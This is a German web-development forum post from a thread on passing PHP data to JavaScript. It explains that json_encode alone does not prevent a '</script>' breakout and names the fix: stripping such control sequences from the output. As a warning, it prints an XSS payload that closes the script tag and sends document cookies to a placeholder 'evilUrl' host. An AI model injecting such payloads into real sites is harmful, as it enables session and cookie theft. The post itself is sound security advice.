Matti Mäkitalo: Rolf B's Lösung

Beitrag lesen

Hallo,

<script>
//<!--
   var ROLF.jsData = {$jsData|json_encode};
//-->
</script>

Warst nicht du es der vor </script> in data gewarnt hat, und an Kontextwechsel erinnert hat?

es geht um folgenden Angriffsvektor (unter der Annahme, dass $jsData in irgendeiner Form mit Daten aus User-Kontrolle bestückt ist. Z.B. (alles aus dem Kopf geschrieben):

$jsData = "\";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";

Dann sollte bei einem reinem Code wie oben (selbst mit dem "<script><!-- "-"Trick" folgendes herauskommen:

<script>
//<!--
   var ROLF.jsData = "";</script><script>var cookies = JSON.stringify(document.cookies);window.open('evilUrl?q=' + cookies);";
//-->
</script>

und schwupps hat man (trotz SOP und Co) seine Cookies verloren. Die Lösung besteht darin, dass die wichtigen Steuerzeichen aus dem Output entfernt werden. Im Kontext von JS in HTML sind es eben nicht nur die JS-Steuerzeichen (die man mit json_encode wegbekommt), sondern eben auch </script>. Der HTML-Kommentar hilft hier nicht wirklich, außer ich verpasse irgendwas. Daher meine Rückfrage.

Viele Grüße Matti

0 92

Variable von PHP nach JAVASCRIPT übergeben

Marti
  • javascript
  • php
  1. 1
    beatovich
    1. 2
      Matti Mäkitalo
      1. 0
        beatovich
        1. -1

          Arrays und Hashes (Perl oder PHP) in <script> als JS-Object erzeugen

          beatovich
          • javascript
          • perl
          • php
          1. 0
            pl
            • javascript
            • perl
            1. 0
              beatovich
              1. 0
                pl
                1. 0
                  Rolf B
                  1. 0
                    pl
                    1. 0
                      Rolf B
                      1. 0
                        pl
                        1. 0
                          Rolf B
                          1. 0
                            pl
                            1. 0
                              Rolf B
                  2. 0

                    Rolf B's Lösung

                    pl
                    1. 2
                      Rolf B
                      1. 0
                        pl
                        1. 0
                          beatovich
                        2. 0
                          Rolf B
                          1. 0
                            beatovich
                            1. 1
                              Matti Mäkitalo
                              1. 0
                                beatovich
                                1. 1
                                  Matti Mäkitalo
                                  1. 0
                                    beatovich
                                    1. 1
                                      Matti Mäkitalo
                                      1. 0
                                        Matti Mäkitalo
                                      2. 0
                                        beatovich
                                        1. 0
                                          1unitedpower
                                          1. 0
                                            dedlfix
                                            1. 0
                                              1unitedpower
                                          2. 0
                                            beatovich
                                            1. 0
                                              beatovich
                                              1. 0
                                                beatovich
                                                1. 0
                                                  1unitedpower
                                                  1. 0
                                                    beatovich
                                                2. 0
                                                  pl
                                                  1. 0
                                                    beatovich
                                                    1. 0
                                                      pl
                              2. 0
                                Rolf B
                                1. 0
                                  dedlfix
                                  1. 0
                                    Rolf B
                                2. 0
                                  pl
                                  1. 0
                                    1unitedpower
                                    1. 0
                                      pl
                          2. 0
                            pl
                            1. 0
                              beatovich
                              1. 0
                                pl
                                1. 0
                                  beatovich
                                  1. 0
                                    pl
                                    1. 0
                                      beatovich
                                      1. 0
                                        pl
                                        1. 0
                                          1unitedpower
                                          1. 0
                                            Rolf B
                                            1. 0
                                              pl
        2. 2
          Matti Mäkitalo
    2. 0
      pl
      1. 0
        dedlfix
        1. 0
          pl
          1. 0
            dedlfix
            1. 0
              pl
              • sonstiges
      2. 0
        beatovich
        1. 0
          pl
  2. 0
    TS
  3. 0
    pl
    1. 1
      klawischnigg
      1. 0
        pl
        1. 0
          Rolf B
          1. 0
            pl
            1. 0
              Rolf B
              1. 0
                pl
                1. 0
                  pl
                  • javascript
                  • perl
                2. 0
                  Rolf B
                  1. 0

                    JSONP, CORS

                    pl
            2. 0
              dedlfix
              1. 0
                beatovich
                1. 0
                  pl
                  1. 0
                    beatovich
                    1. 0
                      pl
                      1. 0
                        beatovich
                        1. 0
                          pl
                          1. 0
                            beatovich
                            1. 0
                              pl
                              • perl
        2. 0
          klawischnigg
          1. 0
            pl
  4. 0
    Auge
  5. 0
    klawischnigg
    1. 0
      beatovich
    2. 0
      pl
    3. 0
      dedlfix
  6. 0
    pl
    • javascript
    • programmiertechnik
    1. 0
      pl